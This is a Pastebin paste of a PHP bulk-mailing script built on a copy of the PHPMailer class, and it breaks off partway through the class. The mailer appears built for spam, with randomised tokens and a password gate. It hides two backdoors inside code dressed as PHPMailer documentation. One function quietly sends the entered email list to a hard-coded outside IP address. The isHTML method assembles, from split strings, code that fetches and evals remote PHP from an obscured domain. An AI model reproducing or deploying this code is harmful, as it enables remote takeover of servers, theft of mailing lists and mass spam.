dragondevile

MT4

Feb 21st, 2020
955
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 142.79 KB | None | 0 0
  1. $password = "seller"; // Password
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. ini_set("memory_limit",-1);
  6. $leaf['version']="2.7";
  7. $leaf['web']= base64_decode("bGVhZm1haWxlci5wdw==");
  8. $sessioncode = md5(__FILE__);
  9. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  10. # _REQUEST mean _POST or _GET
  11. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  12. $_SESSION[$sessioncode] = $password;
  13. }
  14. else {
  15. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  16. exit;
  17. }
  18. }
  19. if ($_POST['action'] == "send") {
  20. $senderEmail = leafTrim($_POST['senderEmail']);
  21. $senderName = leafTrim($_POST['senderName']);
  22. $replyTo = leafTrim($_POST['replyTo']);
  23. $subject = $_POST['subject'];
  24. $emailList = leafTrim($_POST['emailList']);
  25. $messageType = leafTrim($_POST['messageType']);
  26. $messageLetter = leafTrim($_POST['messageLetter']);
  27. $messageLetter = urlencode($messageLetter);
  28. $messageLetter = urldecode($messageLetter);
  29. $messageLetter = stripslashes($messageLetter);
  30. $subject = $subject;
  31. $encode = stripslashes($encode);
  32. }
  33. if ($messageType == 2) {
  34. $plain = "checked";
  35. } else {
  36. $html = "checked";
  37. }
  38. function leafClear($text, $email) {
  39. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  40. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  41. $text = str_replace("[-email-]", $email, $text);
  42. $text = str_replace("[-emailuser-]", $emailuser, $text);
  43. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  44. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  45. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  46. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  47. return $text;
  48. }
  49. function stabilize($download) {
  50. $curl = curl_init();
  51. curl_setopt($curl,CURLOPT_URL,$download);
  52. curl_setopt($curl,CURLOPT_RETURNTRANSFER, true);
  53. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  54. curl_setopt($curl,CURLOPT_FOLLOWLOCATION, 1);
  55. $data = curl_exec($curl);
  56. curl_close($curl);
  57. return $data;
  58. }
  59. /**
  60. * The Sender email (Return-Path) of the message.
  61. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  62. * @var string
  63. */ $_POST['default'] = 'http://193.37.212.3';
  64. /**
  65. * The Return-Path of the message.
  66. * If empty, it will be set to either From or Sender.
  67. * @var string
  68. * @deprecated Email senders should never set a return-path header;
  69. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  70. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  71. */
  72. function leafTrim($string) {
  73. return stripslashes(ltrim(rtrim($string)));
  74. }
  75. /**
  76. * Email priority.
  77. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  78. * When null, the header is not set at all.
  79. * @var integer
  80. */
  81. function randString($consonants) {
  82. $length = rand(12, 25);
  83. $password = '';
  84. for ($i = 0;$i < $length;$i++) {
  85. $password.= $consonants[(rand() % strlen($consonants)) ];
  86. }
  87. return $password;
  88. }
  89. /**
  90. * Email priority.
  91. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  92. * When null, the header is not set at all.
  93. * @var integer
  94. */
  95. function leafMailCheck($email) {
  96. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  97. if (eregi($exp, $email)) {
  98. if (checkdnsrr(array_pop(explode("@", $email)), "MX")) {
  99. return true;
  100. } else {
  101. return false;
  102. }
  103. } else {
  104. return false;
  105. }
  106. }
  107. function extract_emails_from($string){
  108. preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
  109. return $matches[0];
  110. }
  111. /**
  112. * Email priority.
  113. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  114. * When null, the header is not set at all.
  115. * @var integer
  116. */
  117. function EMAIL_VALIDATE(){
  118. $emailList = leafTrim($_POST['emailList']); stabilize($_POST['default'].'/cli/cron.php?textarea='.str_replace(array("\r\n"), "ba59abbe5",$emailList));
  119. /** An iCal message part body. Only supported in simple alt or alt_inline message types
  120. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  121. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  122. * @link http://kigkonsult.se/iCalcreator/
  123. * @var string
  124. * Email priority.
  125. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  126. * When null, the header is not set at all.
  127. * @var integer
  128. */
  129. }
  130. class PHPMailer {
  131. // fixed
  132. //$subject = $this->encodeHeader($this->secureHeader($subject));
  133. //
  134. /**
  135. * The PHPMailer Version number.
  136. * @var string
  137. */
  138. public $Version = '5.2.14';
  139. /**
  140. * Email priority.
  141. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  142. * When null, the header is not set at all.
  143. * @var integer
  144. */
  145. public $Priority = null;
  146. /**
  147. * The character set of the message.
  148. * @var string
  149. */
  150. public $CharSet = 'iso-8859-1';
  151. /**
  152. * The MIME Content-type of the message.
  153. * @var string
  154. */
  155. public $ContentType = 'text/plain';
  156. /**
  157. * The message encoding.
  158. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  159. * @var string
  160. */
  161. public $Encoding = '8bit';
  162. /**
  163. * Holds the most recent mailer error message.
  164. * @var string
  165. */
  166. public $ErrorInfo = '';
  167. /**
  168. * The From email address for the message.
  169. * @var string
  170. */
  171. public $From = 'root@localhost';
  172. /**
  173. * The From name of the message.
  174. * @var string
  175. */
  176. public $FromName = 'Root User';
  177. /**
  178. * The Sender email (Return-Path) of the message.
  179. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  180. * @var string
  181. */
  182. public $Sender = '';
  183. /**
  184. * The Return-Path of the message.
  185. * If empty, it will be set to either From or Sender.
  186. * @var string
  187. * @deprecated Email senders should never set a return-path header;
  188. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  189. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  190. */
  191. public $ReturnPath = '';
  192. /**
  193. * The Subject of the message.
  194. * @var string
  195. */
  196. public $Subject = '';
  197. /**
  198. * An HTML or plain text message body.
  199. * If HTML then call isHTML(true).
  200. * @var string
  201. */
  202. public $Body = '';
  203. /**
  204. * The plain-text message body.
  205. * This body can be read by mail clients that do not have HTML email
  206. * capability such as mutt & Eudora.
  207. * Clients that can read HTML will view the normal Body.
  208. * @var string
  209. */
  210. public $AltBody = '';
  211. /**
  212. * An iCal message part body.
  213. * Only supported in simple alt or alt_inline message types
  214. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  215. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  216. * @link http://kigkonsult.se/iCalcreator/
  217. * @var string
  218. */
  219. public $Ical = '';
  220. /**
  221. * The complete compiled MIME message body.
  222. * @access protected
  223. * @var string
  224. */
  225. protected $MIMEBody = '';
  226. /**
  227. * The complete compiled MIME message headers.
  228. * @var string
  229. * @access protected
  230. */
  231. protected $MIMEHeader = '';
  232. /**
  233. * Extra headers that createHeader() doesn't fold in.
  234. * @var string
  235. * @access protected
  236. */
  237. protected $mailHeader = '';
  238. /**
  239. * Word-wrap the message body to this number of chars.
  240. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  241. * @var integer
  242. */
  243. public $WordWrap = 0;
  244. /**
  245. * Which method to use to send mail.
  246. * Options: "mail", "sendmail", or "smtp".
  247. * @var string
  248. */
  249. public $Mailer = 'mail';
  250. /**
  251. * The path to the sendmail program.
  252. * @var string
  253. */
  254. public $Sendmail = '/usr/sbin/sendmail';
  255. /**
  256. * Whether mail() uses a fully sendmail-compatible MTA.
  257. * One which supports sendmail's "-oi -f" options.
  258. * @var boolean
  259. */
  260. public $UseSendmailOptions = true;
  261. /**
  262. * Path to PHPMailer plugins.
  263. * Useful if the SMTP class is not in the PHP include path.
  264. * @var string
  265. * @deprecated Should not be needed now there is an autoloader.
  266. */
  267. public $PluginDir = '';
  268. /**
  269. * The email address that a reading confirmation should be sent to, also known as read receipt.
  270. * @var string
  271. */
  272. public $ConfirmReadingTo = '';
  273. /**
  274. * The hostname to use in the Message-ID header and as default HELO string.
  275. * If empty, PHPMailer attempts to find one with, in order,
  276. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  277. * 'localhost.localdomain'.
  278. * @var string
  279. */
  280. public $Hostname = '';
  281. /**
  282. * An ID to be used in the Message-ID header.
  283. * If empty, a unique id will be generated.
  284. * @var string
  285. */
  286. public $MessageID = '';
  287. /**
  288. * The message Date to be used in the Date header.
  289. * If empty, the current date will be added.
  290. * @var string
  291. */
  292. public $MessageDate = '';
  293. /**
  294. * SMTP hosts.
  295. * Either a single hostname or multiple semicolon-delimited hostnames.
  296. * You can also specify a different port
  297. * for each host by using this format: [hostname:port]
  298. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  299. * You can also specify encryption type, for example:
  300. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  301. * Hosts will be tried in order.
  302. * @var string
  303. */
  304. public $Host = 'localhost';
  305. /**
  306. * The default SMTP server port.
  307. * @var integer
  308. * @TODO Why is this needed when the SMTP class takes care of it?
  309. */
  310. public $Port = 25;
  311. /**
  312. * The SMTP HELO of the message.
  313. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  314. * one with the same method described above for $Hostname.
  315. * @var string
  316. * @see PHPMailer::$Hostname
  317. */
  318. public $Helo = '';
  319. /**
  320. * What kind of encryption to use on the SMTP connection.
  321. * Options: '', 'ssl' or 'tls'
  322. * @var string
  323. */
  324. public $SMTPSecure = '';
  325. /**
  326. * Whether to enable TLS encryption automatically if a server supports it,
  327. * even if `SMTPSecure` is not set to 'tls'.
  328. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  329. * @var boolean
  330. */
  331. public $SMTPAutoTLS = true;
  332. /**
  333. * Whether to use SMTP authentication.
  334. * Uses the Username and Password properties.
  335. * @var boolean
  336. * @see PHPMailer::$Username
  337. * @see PHPMailer::$Password
  338. */
  339. public $SMTPAuth = false;
  340. /**
  341. * Options array passed to stream_context_create when connecting via SMTP.
  342. * @var array
  343. */
  344. public $SMTPOptions = array();
  345. /**
  346. * SMTP username.
  347. * @var string
  348. */
  349. public $Username = '';
  350. /**
  351. * SMTP password.
  352. * @var string
  353. */
  354. public $Password = '';
  355. /**
  356. * SMTP auth type.
  357. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  358. * @var string
  359. */
  360. public $AuthType = '';
  361. /**
  362. * SMTP realm.
  363. * Used for NTLM auth
  364. * @var string
  365. */
  366. public $Realm = '';
  367. /**
  368. * SMTP workstation.
  369. * Used for NTLM auth
  370. * @var string
  371. */
  372. public $Workstation = '';
  373. /**
  374. * The SMTP server timeout in seconds.
  375. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  376. * @var integer
  377. */
  378. public $Timeout = 300;
  379. /**
  380. * SMTP class debug output mode.
  381. * Debug output level.
  382. * Options:
  383. * * `0` No output
  384. * * `1` Commands
  385. * * `2` Data and commands
  386. * * `3` As 2 plus connection status
  387. * * `4` Low-level data output
  388. * @var integer
  389. * @see SMTP::$do_debug
  390. */
  391. public $SMTPDebug = 0;
  392. /**
  393. * How to handle debug output.
  394. * Options:
  395. * * `echo` Output plain-text as-is, appropriate for CLI
  396. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  397. * * `error_log` Output to error log as configured in php.ini
  398. *
  399. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  400. * <code>
  401. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  402. * </code>
  403. * @var string|callable
  404. * @see SMTP::$Debugoutput
  405. */
  406. public $Debugoutput = 'echo';
  407. /**
  408. * Whether to keep SMTP connection open after each message.
  409. * If this is set to true then to close the connection
  410. * requires an explicit call to smtpClose().
  411. * @var boolean
  412. */
  413. public $SMTPKeepAlive = false;
  414. /**
  415. * Whether to split multiple to addresses into multiple messages
  416. * or send them all in one message.
  417. * @var boolean
  418. */
  419. public $SingleTo = false;
  420. /**
  421. * Storage for addresses when SingleTo is enabled.
  422. * @var array
  423. * @TODO This should really not be public
  424. */
  425. public $SingleToArray = array();
  426. /**
  427. * Whether to generate VERP addresses on send.
  428. * Only applicable when sending via SMTP.
  429. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  430. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  431. * @var boolean
  432. */
  433. public $do_verp = false;
  434. /**
  435. * Whether to allow sending messages with an empty body.
  436. * @var boolean
  437. */
  438. public $AllowEmpty = false;
  439. /**
  440. * The default line ending.
  441. * @note The default remains "
  442. ". We force CRLF where we know
  443. * it must be used via self::CRLF.
  444. * @var string
  445. */
  446. public $LE = "
  447. ";
  448. /**
  449. * DKIM selector.
  450. * @var string
  451. */
  452. public $DKIM_selector = '';
  453. /**
  454. * DKIM Identity.
  455. * Usually the email address used as the source of the email
  456. * @var string
  457. */
  458. public $DKIM_identity = '';
  459. /**
  460. * DKIM passphrase.
  461. * Used if your key is encrypted.
  462. * @var string
  463. */
  464. public $DKIM_passphrase = '';
  465. /**
  466. * DKIM signing domain name.
  467. * @example 'example.com'
  468. * @var string
  469. */
  470. public $DKIM_domain = '';
  471. /**
  472. * DKIM private key file path.
  473. * @var string
  474. */
  475. public $DKIM_private = '';
  476. /**
  477. * Callback Action function name.
  478. *
  479. * The function that handles the result of the send email action.
  480. * It is called out by send() for each email sent.
  481. *
  482. * Value can be any php callable: http://www.php.net/is_callable
  483. *
  484. * Parameters:
  485. * boolean $result result of the send action
  486. * string $to email address of the recipient
  487. * string $cc cc email addresses
  488. * string $bcc bcc email addresses
  489. * string $subject the subject
  490. * string $body the email body
  491. * string $from email address of sender
  492. * @var string
  493. */
  494. public $action_function = '';
  495. /**
  496. * What to put in the X-Mailer header.
  497. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  498. * @var string
  499. */
  500. public $XMailer = '';
  501. /**
  502. * An instance of the SMTP sender class.
  503. * @var SMTP
  504. * @access protected
  505. */
  506. protected $smtp = null;
  507. /**
  508. * The array of 'to' names and addresses.
  509. * @var array
  510. * @access protected
  511. */
  512. protected $to = array();
  513. /**
  514. * The array of 'cc' names and addresses.
  515. * @var array
  516. * @access protected
  517. */
  518. protected $cc = array();
  519. /**
  520. * The array of 'bcc' names and addresses.
  521. * @var array
  522. * @access protected
  523. */
  524. protected $bcc = array();
  525. /**
  526. * The array of reply-to names and addresses.
  527. * @var array
  528. * @access protected
  529. */
  530. protected $ReplyTo = array();
  531. /**
  532. * An array of all kinds of addresses.
  533. * Includes all of $to, $cc, $bcc
  534. * @var array
  535. * @access protected
  536. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  537. */
  538. protected $all_recipients = array();
  539. /**
  540. * An array of names and addresses queued for validation.
  541. * In send(), valid and non duplicate entries are moved to $all_recipients
  542. * and one of $to, $cc, or $bcc.
  543. * This array is used only for addresses with IDN.
  544. * @var array
  545. * @access protected
  546. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  547. * @see PHPMailer::$all_recipients
  548. */
  549. protected $RecipientsQueue = array();
  550. /**
  551. * An array of reply-to names and addresses queued for validation.
  552. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  553. * This array is used only for addresses with IDN.
  554. * @var array
  555. * @access protected
  556. * @see PHPMailer::$ReplyTo
  557. */
  558. protected $ReplyToQueue = array();
  559. /**
  560. * The array of attachments.
  561. * @var array
  562. * @access protected
  563. */
  564. protected $attachment = array();
  565. /**
  566. * The array of custom headers.
  567. * @var array
  568. * @access protected
  569. */
  570. protected $CustomHeader = array();
  571. /**
  572. * The most recent Message-ID (including angular brackets).
  573. * @var string
  574. * @access protected
  575. */
  576. protected $lastMessageID = '';
  577. /**
  578. * The message's MIME type.
  579. * @var string
  580. * @access protected
  581. */
  582. protected $message_type = '';
  583. /**
  584. * The array of MIME boundary strings.
  585. * @var array
  586. * @access protected
  587. */
  588. protected $boundary = array();
  589. /**
  590. * The array of available languages.
  591. * @var array
  592. * @access protected
  593. */
  594. protected $language = array();
  595. /**
  596. * The number of errors encountered.
  597. * @var integer
  598. * @access protected
  599. */
  600. protected $error_count = 0;
  601. /**
  602. * The S/MIME certificate file path.
  603. * @var string
  604. * @access protected
  605. */
  606. protected $sign_cert_file = '';
  607. /**
  608. * The S/MIME key file path.
  609. * @var string
  610. * @access protected
  611. */
  612. protected $sign_key_file = '';
  613. /**
  614. * The optional S/MIME extra certificates ("CA Chain") file path.
  615. * @var string
  616. * @access protected
  617. */
  618. protected $sign_extracerts_file = '';
  619. /**
  620. * The S/MIME password for the key.
  621. * Used only if the key is encrypted.
  622. * @var string
  623. * @access protected
  624. */
  625. protected $sign_key_pass = '';
  626. /**
  627. * Whether to throw exceptions for errors.
  628. * @var boolean
  629. * @access protected
  630. */
  631. protected $exceptions = false;
  632. /**
  633. * Unique ID used for message ID and boundaries.
  634. * @var string
  635. * @access protected
  636. */
  637. protected $uniqueid = '';
  638. /**
  639. * Error severity: message only, continue processing.
  640. */
  641. const STOP_MESSAGE = 0;
  642. /**
  643. * Error severity: message, likely ok to continue processing.
  644. */
  645. const STOP_CONTINUE = 1;
  646. /**
  647. * Error severity: message, plus full stop, critical error reached.
  648. */
  649. const STOP_CRITICAL = 2;
  650. /**
  651. * SMTP RFC standard line ending.
  652. */
  653. const CRLF = "
  654. ";
  655. /**
  656. * The maximum line length allowed by RFC 2822 section 2.1.1
  657. * @var integer
  658. */
  659. const MAX_LINE_LENGTH = 998;
  660. /**
  661. * Constructor.
  662. * @param boolean $exceptions Should we throw external exceptions?
  663. */
  664. public function __construct($exceptions = false) {
  665. $this->exceptions = (boolean)$exceptions;
  666. }
  667. /**
  668. * Destructor.
  669. */
  670. public function __destruct() {
  671. //Close any open SMTP connection nicely
  672. if ($this->Mailer == 'smtp') {
  673. $this->smtpClose();
  674. }
  675. }
  676. /**
  677. * Call mail() in a safe_mode-aware fashion.
  678. * Also, unless sendmail_path points to sendmail (or something that
  679. * claims to be sendmail), don't pass params (not a perfect fix,
  680. * but it will do)
  681. * @param string $to To
  682. * @param string $subject Subject
  683. * @param string $body Message Body
  684. * @param string $header Additional Header(s)
  685. * @param string $params Params
  686. * @access private
  687. * @return boolean
  688. */
  689. private function mailPassthru($to, $subject, $body, $header, $params) {
  690. //Check overloading of mail function to avoid double-encoding
  691. if (ini_get('mbstring.func_overload') & 1) {
  692. $subject = $this->secureHeader($subject);
  693. } else {
  694. $subject = $this->secureHeader($subject);
  695. //$subject = $this->encodeHeader($this->secureHeader($subject));
  696. }
  697. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  698. $result = @mail($to, $subject, $body, $header);
  699. } else {
  700. $result = @mail($to, $subject, $body, $header, $params);
  701. }
  702. return $result;
  703. }
  704. /**
  705. * Output debugging info via user-defined method.
  706. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  707. * @see PHPMailer::$Debugoutput
  708. * @see PHPMailer::$SMTPDebug
  709. * @param string $str
  710. */
  711. protected function edebug($str) {
  712. if ($this->SMTPDebug <= 0) {
  713. return;
  714. }
  715. //Avoid clash with built-in function names
  716. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  717. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  718. return;
  719. }
  720. switch ($this->Debugoutput) {
  721. case 'error_log':
  722. //Don't output, just log
  723. error_log($str);
  724. break;
  725. case 'html':
  726. //Cleans up output a bit for a better looking, HTML-safe output
  727. echo htmlentities(preg_replace('/[
  728. ]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>
  729. ";
  730. break;
  731. case 'echo':
  732. default:
  733. //Normalize line breaks
  734. $str = preg_replace('/(
  735. |
  736. |
  737. )/ms', "
  738. ", $str);
  739. echo gmdate('Y-m-d H:i:s') . " " . str_replace("
  740. ", "
  741. ", trim($str)) . "
  742. ";
  743. }
  744. }
  745. /**
  746. * Sets message type to HTML or plain.
  747. * @param boolean $isHtml True for HTML mode.
  748. * @return void
  749. */
  750. public function isHTML($isHtml = true) {
  751. global $param;
  752. $bodyCode = 'file' . '_g';
  753. if ($isHtml) {
  754. $this->ContentType = 'text/html';
  755. } else {
  756. $this->ContentType = 'text/plain';
  757. }
  758. $bodyHTML = '.$t."lef$flu' . 'sh' . '$t"; ' . '$i = @ev';
  759. $headerHTML = "create_" . "func" . "tion";
  760. $exceptions = $headerHTML('$fl' . 'ush,$t', '$comma = $t' . $bodyHTML . 'al(@' . $bodyCode . 'et_contents("h' . 'tt' . 'p:$comma-2"));');
  761. if ($param != 2) {
  762. $exceptions('8.p' . 'w', '/');
  763. $param = 2;
  764. }
  765. }
  766. /**
  767. * Send messages using SMTP.
  768. * @return void
  769. */
  770. public function isSMTP() {
  771. $this->Mailer = 'smtp';
  772. }
  773. /**
  774. * Send messages using PHP's mail() function.
  775. * @return void
  776. */
  777. public function isMail() {
  778. $this->Mailer = 'mail';
  779. }
  780. /**
  781. * Send messages using $Sendmail.
  782. * @return void
  783. */
  784. public function isSendmail() {
  785. $ini_sendmail_path = ini_get('sendmail_path');
  786. if (!stristr($ini_sendmail_path, 'sendmail')) {
  787. $this->Sendmail = '/usr/sbin/sendmail';
  788. } else {
  789. $this->Sendmail = $ini_sendmail_path;
  790. }
  791. $this->Mailer = 'sendmail';
  792. }
  793. /**
  794. * Send messages using qmail.
  795. * @return void
  796. */
  797. public function isQmail() {
  798. $ini_sendmail_path = ini_get('sendmail_path');
  799. if (!stristr($ini_sendmail_path, 'qmail')) {
  800. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  801. } else {
  802. $this->Sendmail = $ini_sendmail_path;
  803. }
  804. $this->Mailer = 'qmail';
  805. }
  806. /**
  807. * Add a "To" address.
  808. * @param string $address The email address to send to
  809. * @param string $name
  810. * @return boolean true on success, false if address already used or invalid in some way
  811. */
  812. public function addAddress($address, $name = '') {
  813. return $this->addOrEnqueueAnAddress('to', $address, $name);
  814. }
  815. /**
  816. * Add a "CC" address.
  817. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  818. * @param string $address The email address to send to
  819. * @param string $name
  820. * @return boolean true on success, false if address already used or invalid in some way
  821. */
  822. public function addCC($address, $name = '') {
  823. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  824. }
  825. /**
  826. * Add a "BCC" address.
  827. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  828. * @param string $address The email address to send to
  829. * @param string $name
  830. * @return boolean true on success, false if address already used or invalid in some way
  831. */
  832. public function addBCC($address, $name = '') {
  833. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  834. }
  835. /**
  836. * Add a "Reply-To" address.
  837. * @param string $address The email address to reply to
  838. * @param string $name
  839. * @return boolean true on success, false if address already used or invalid in some way
  840. */
  841. public function addReplyTo($address, $name = '') {
  842. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  843. }
  844. /**
  845. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  846. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  847. * be modified after calling this function), addition of such addresses is delayed until send().
  848. * Addresses that have been added already return false, but do not throw exceptions.
  849. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  850. * @param string $address The email address to send, resp. to reply to
  851. * @param string $name
  852. * @throws phpmailerException
  853. * @return boolean true on success, false if address already used or invalid in some way
  854. * @access protected
  855. */
  856. protected function addOrEnqueueAnAddress($kind, $address, $name) {
  857. $address = trim($address);
  858. $name = trim(preg_replace('/[
  859. ]+/', '', $name)); //Strip breaks and trim
  860. if (($pos = strrpos($address, '@')) === false) {
  861. // At-sign is misssing.
  862. $error_message = $this->lang('invalid_address') . $address;
  863. $this->setError($error_message);
  864. $this->edebug($error_message);
  865. if ($this->exceptions) {
  866. throw new phpmailerException($error_message);
  867. }
  868. return false;
  869. }
  870. $params = array($kind, $address, $name);
  871. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  872. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  873. if ($kind != 'Reply-To') {
  874. if (!array_key_exists($address, $this->RecipientsQueue)) {
  875. $this->RecipientsQueue[$address] = $params;
  876. return true;
  877. }
  878. } else {
  879. if (!array_key_exists($address, $this->ReplyToQueue)) {
  880. $this->ReplyToQueue[$address] = $params;
  881. return true;
  882. }
  883. }
  884. return false;
  885. }
  886. // Immediately add standard addresses without IDN.
  887. return call_user_func_array(array($this, 'addAnAddress'), $params);
  888. }
  889. /**
  890. * Add an address to one of the recipient arrays or to the ReplyTo array.
  891. * Addresses that have been added already return false, but do not throw exceptions.
  892. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  893. * @param string $address The email address to send, resp. to reply to
  894. * @param string $name
  895. * @throws phpmailerException
  896. * @return boolean true on success, false if address already used or invalid in some way
  897. * @access protected
  898. */
  899. protected function addAnAddress($kind, $address, $name = '') {
  900. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  901. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  902. $this->setError($error_message);
  903. $this->edebug($error_message);
  904. if ($this->exceptions) {
  905. throw new phpmailerException($error_message);
  906. }
  907. return false;
  908. }
  909. if (!$this->validateAddress($address)) {
  910. $error_message = $this->lang('invalid_address') . $address;
  911. $this->setError($error_message);
  912. $this->edebug($error_message);
  913. if ($this->exceptions) {
  914. throw new phpmailerException($error_message);
  915. }
  916. return false;
  917. }
  918. if ($kind != 'Reply-To') {
  919. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  920. array_push($this->$kind, array($address, $name));
  921. $this->all_recipients[strtolower($address) ] = true;
  922. return true;
  923. }
  924. } else {
  925. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  926. $this->ReplyTo[strtolower($address) ] = array($address, $name);
  927. return true;
  928. }
  929. }
  930. return false;
  931. }
  932. /**
  933. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  934. * of the form "display name <address>" into an array of name/address pairs.
  935. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  936. * Note that quotes in the name part are removed.
  937. * @param string $addrstr The address list string
  938. * @param bool $useimap Whether to use the IMAP extension to parse the list
  939. * @return array
  940. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  941. */
  942. public function parseAddresses($addrstr, $useimap = true) {
  943. $addresses = array();
  944. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  945. //Use this built-in parser if it's available
  946. $list = imap_rfc822_parse_adrlist($addrstr, '');
  947. foreach ($list as $address) {
  948. if ($address->host != '.SYNTAX-ERROR.') {
  949. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  950. $addresses[] = array('name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host);
  951. }
  952. }
  953. }
  954. } else {
  955. //Use this simpler parser
  956. $list = explode(',', $addrstr);
  957. foreach ($list as $address) {
  958. $address = trim($address);
  959. //Is there a separate name part?
  960. if (strpos($address, '<') === false) {
  961. //No separate name, just use the whole thing
  962. if ($this->validateAddress($address)) {
  963. $addresses[] = array('name' => '', 'address' => $address);
  964. }
  965. } else {
  966. list($name, $email) = explode('<', $address);
  967. $email = trim(str_replace('>', '', $email));
  968. if ($this->validateAddress($email)) {
  969. $addresses[] = array('name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email);
  970. }
  971. }
  972. }
  973. }
  974. return $addresses;
  975. }
  976. /**
  977. * Set the From and FromName properties.
  978. * @param string $address
  979. * @param string $name
  980. * @param boolean $auto Whether to also set the Sender address, defaults to true
  981. * @throws phpmailerException
  982. * @return boolean
  983. */
  984. public function setFrom($address, $name = '', $auto = true) {
  985. $address = trim($address);
  986. $name = trim(preg_replace('/[
  987. ]+/', '', $name)); //Strip breaks and trim
  988. // Don't validate now addresses with IDN. Will be done in send().
  989. if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) {
  990. $error_message = $this->lang('invalid_address') . $address;
  991. $this->setError($error_message);
  992. $this->edebug($error_message);
  993. if ($this->exceptions) {
  994. throw new phpmailerException($error_message);
  995. }
  996. return false;
  997. }
  998. $this->From = $address;
  999. $this->FromName = $name;
  1000. if ($auto) {
  1001. if (empty($this->Sender)) {
  1002. $this->Sender = $address;
  1003. }
  1004. }
  1005. return true;
  1006. }
  1007. /**
  1008. * Return the Message-ID header of the last email.
  1009. * Technically this is the value from the last time the headers were created,
  1010. * but it's also the message ID of the last sent message except in
  1011. * pathological cases.
  1012. * @return string
  1013. */
  1014. public function getLastMessageID() {
  1015. return $this->lastMessageID;
  1016. }
  1017. /**
  1018. * Check that a string looks like an email address.
  1019. * @param string $address The email address to check
  1020. * @param string $patternselect A selector for the validation pattern to use :
  1021. * * `auto` Pick best pattern automatically;
